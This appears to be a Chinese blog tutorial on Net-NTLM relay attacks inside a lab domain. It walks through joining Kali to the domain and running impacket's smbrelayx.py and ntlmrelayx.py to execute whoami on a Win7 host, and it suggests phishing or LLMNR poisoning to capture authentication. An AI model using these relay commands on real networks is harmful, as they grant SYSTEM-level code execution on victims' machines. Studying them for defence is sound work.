内网渗透学习之 Net-NTLM Relay Attack
Net-NTLM Relay Attack漏洞原理
Net-NTLM Relay 原理,它是发生在 NTLM 认证的第三步,客户端发送使用服务端 NTLM Hash 加密的 Challenge 值,得到 Net-NTLMHash。我们就是要重放这个 Net-NTLMHash 来进行攻击。
所以,进行NTLM Relay攻击的第一步我们首先要获得这个Net-NTLMHash值。那么如何能获得这个Net-NTLMHash值呢?思路是让受害者把 Net-NTLMhash 自己发送给攻击者,也就是说只要是使用 SMB、HTTP、LDAP、MSSQL 等协议来进行 NTLM 认证的程序,都可以尝试用来向攻击者发送 Net-NTLM hash。
在内网渗透中若利用 LLMNR/NetBIOS 成功劫持并获得了目标主机的 Net-NTLM Hash,如果我们有一个强大的字典也可以进行爆破。
Net-NTLM Hash 不像 NTLM-Hash,我们不能用 Net-NTLM Hash 来进行 Pass The Hash。所以我们可以试着通过NTLM Relay Attack来实现。
通过 SMB 来进行 Relay Attack
SMB 协议的 Relay攻击,可直接 Relay 到 smb 服务器,是最直接最有效的方法。
通过 SMB Relay Attack 我们可以在目标远程服务器上执行命令,上传我们的恶意 exe ,又或者到远程服务上执行恶意代码 ... 等等
Relay Attack 的两种场景:
1:工作组环境
在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码 Hash 只是保存在自己的 SAM 文件中,这个时候 Relay 到别的机器可能性就不大,除非两台机器的账号密码一样,不然毫无意义。
2:域环境
我们知道在域环境下所有域用户的账号密码 Hash 都保存在域控的 ntds.dit 里面。若没有限制域用户登录到某台机子,那就可以将该域用户 Relay 到别人的机子,或者是拿到域控的请求,将域控 Relay 到普通的机子,比如域管运维所在的机器。
PS:域环境下域控默认开启 smb 签名
当前环境
| 目标 | 机器 | IP | 子网掩码 |
|---|---|---|---|
| 攻击人员21r000 | Kali Linux | 10.211.55.15 | 255.0.0.0 |
| 域控制器 | Windows 20012server | 10.211.55.12 | 255.0.0.0 |
| 域内机器 | Win 7 | 10.211.55.7 | 255.0.0.0 |
Kali 加入域
配置如下:
Windows Server 2012 R2 x64
计算机名: Server2012
计算机全名: Server2012.21r000.org
域: 21r000.org
域控管理员: administrator
普通用户:21r000

安装软件:
sudo apt install aptitude
sudo aptitude install sssd realmd -y
sudo apt-get install adcli realmd krb5-user samba-common-bin samba-libs samba-dsdb-modules sssd sssd-tools libnss-sss libpam-sss packagekit policykit-1
sudo apt-get install samba # 如果需要samba共享目录给Windows。需要安装这个
编辑/etc/resolve.conf文件, 将DNS指向Server2012
sudo vim /etc/resolv.conf

编辑/etc/hosts文件, 添加Server2012的IP及域的对应关系

编辑IP地址
vi /etc/network/interfaces

inface eth0 inet static #设置 eth0 使用默认的静态地址
address 10.211.55.15 #设置 eth0 的ip 地址
gatework 10.211.55.1 #配置当前主机的默认网关
netmask 255.0.0.0 #设置 eth0 的子网掩码

重新配置网卡信息
dhclient
将Linux机器加入域
realm join Server2012.21r000.org -U administrator
-- Server2012.21r000.org 为 DC 主机名
-- administrator 为域管理员账号

查看是否成功加入
realm list
通过 smbrelayx.py 进行 Relay Attack
1、在攻击人员21r000 上执行如下命令监听 80 和 445 端口,伪造 http 和 smb 服务:
#SMBRelay 攻击 10.211.55.7 主机,并执行 whoami 命令
python3 smbrelayx.py -h 10.211.55.7 -c whoami

2、通过钓鱼或者其他手段诱导域管理员或域用户访问了攻击人员21r000 伪造的 HTTP 或 SMB 服务,访问 http://10.211.55.15 ,并输入账号密码进行认证:

3、此时就 Relay 成功获取到 10.211.55.7 的 system 权限(当然只是 whoami 命令,实战中可以直接远程加载 powershell 或者其他手段反弹 Shell 到 C2)
通过 ntlmrelayx.py 进行 Relay Attack
1、在攻击人员21r000 上执行如下命令监听 80 和 445 端口,伪造 http 和 smb 服务:
# SMBRelay 攻击 10.211.55.7 主机,并执行 whoami 命令
python3 ntlmrelayx.py -t smb://10.211.55.7 -c whoami -smb2support

2、通过钓鱼或者其他手段诱导域管理员或域用户访问了攻击人员21r000伪造的 HTTP 或 SMB 服务,访问 http://10.211.55.15,并输入账号密码进行认证:

或者让域控随便访问一个资源使用 smb 触发:(因为它会检查本地 host 文件,然后检查 DNS,如果都不存在,就会通过 LLMNR 协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到 Responder 的响应,然后受害者的 Windows 机器会向攻击者进行身份验证)

3、此时就 Relay 成功获取到 10.211.55.7的 system 权限:
感言
这里贴上项目地址:https://github.com/21r000/impacket


浙公网安备 33010602011771号